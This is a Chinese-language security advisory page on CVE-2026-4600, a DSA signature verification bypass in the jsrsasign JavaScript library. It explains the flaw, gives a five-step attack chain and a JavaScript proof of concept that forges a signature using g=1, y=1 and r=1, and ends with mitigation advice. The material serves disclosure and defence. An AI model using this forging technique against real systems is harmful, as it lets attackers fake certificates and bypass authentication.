IPBUF安全漏洞报告
English
CVE-2026-4600 CVSS 7.4 高危

CVE-2026-4600: jsrsasign DSA签名验证绕过漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4600
漏洞类型
签名验证绕过
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jsrsasign

相关标签

CVE-2026-4600签名验证绕过jsrsasignDSAX.509加密漏洞

漏洞概述

jsrsasign是一个流行的JavaScript加密库。该漏洞存在于11.1.1之前的版本中,涉及DSA域参数验证。攻击者可以通过构造恶意的DSA参数(如g=1, y=1, r=1)来绕过签名验证机制,从而伪造DSA签名或X.509证书。这会导致应用程序接受无效的签名,严重威胁身份认证和数据完整性。

技术细节

漏洞位于jsrsasign的KJUR.crypto.DSA.setPublic函数及相关X.509验证流程中。正常的DSA签名验证依赖于复杂的数学关系,确保只有私钥持有者能生成有效签名。然而,该函数缺乏对输入域参数的充分校验。攻击者可以通过设置g=1(生成元)和y=1(公钥),使得验证方程中的指数运算结果恒为1。进一步配合设置签名参数r=1,验证方程将无条件成立,不再依赖于消息哈希值。这意味着攻击者可以为任意消息生成有效的伪造签名,且能通过X509.verifySignature()的检查,从而绕过基于DSA的身份认证机制,伪造可信证书。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了存在漏洞的jsrsasign库版本(< 11.1.1)来处理DSA签名或X.509证书验证。
STEP 2
构造恶意参数
攻击者构造包含特殊DSA域参数的请求,具体为设置生成元g=1、公钥y=1以及签名值r=1。
STEP 3
发送伪造数据
攻击者将包含这些恶意参数的伪造X.509证书或签名数据发送给目标应用程序。
STEP 4
验证绕过
应用程序调用KJUR.crypto.DSA.setPublic及相关函数进行验证。由于数学逻辑缺陷,验证错误地返回成功,应用程序接受伪造的身份或数据。
STEP 5
达成攻击目标
攻击者成功绕过身份认证,可能进一步进行中间人攻击、权限提升或数据篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-4600: DSA Signature Verification Bypass // This demonstrates bypassing verification using malicious parameters. const KJUR = require('jsrsasign'); // 1. Setup standard primes (p, q) but malicious generator (g) and public key (y) // When g=1 and y=1, the verification equation simplifies drastically. const p = "800000000000000089e1855218a3e7c7e52..."; // Example 1024-bit prime const q = "f4f47f05794b256174bba6e9b396a7707e563c5b"; const g = "1"; // Malicious parameter const y = "1"; // Malicious parameter // 2. Create a DSA object with the malicious public key const dsa = new KJUR.crypto.DSA(); dsa.setPublic(p, q, g, y); // 3. Forge a signature with r=1 // With g=1, y=1, r=1, the verification (g^u * y^v mod p) mod q becomes 1. const forgedSigR = "1"; const forgedSigS = "1"; // s can often be arbitrary in this bypass scenario const dummyHash = "aabbccdd..."; // Any hash value // 4. Verify the forged signature const result = dsa.verifyWithMessageHash(dummyHash, forgedSigR, forgedSigS); console.log("Verification Result:", result); // Expected: true (Vulnerable)

影响范围

jsrsasign < 11.1.1

防御指南

临时缓解措施
如果不能立即升级,建议暂时禁用对DSA签名的验证功能,或使用其他不受影响的加密算法(如ECDSA或RSA)进行替换。同时,应严格审查传入的证书参数,拒绝接受包含异常参数(如g=1或y=1)的证书请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表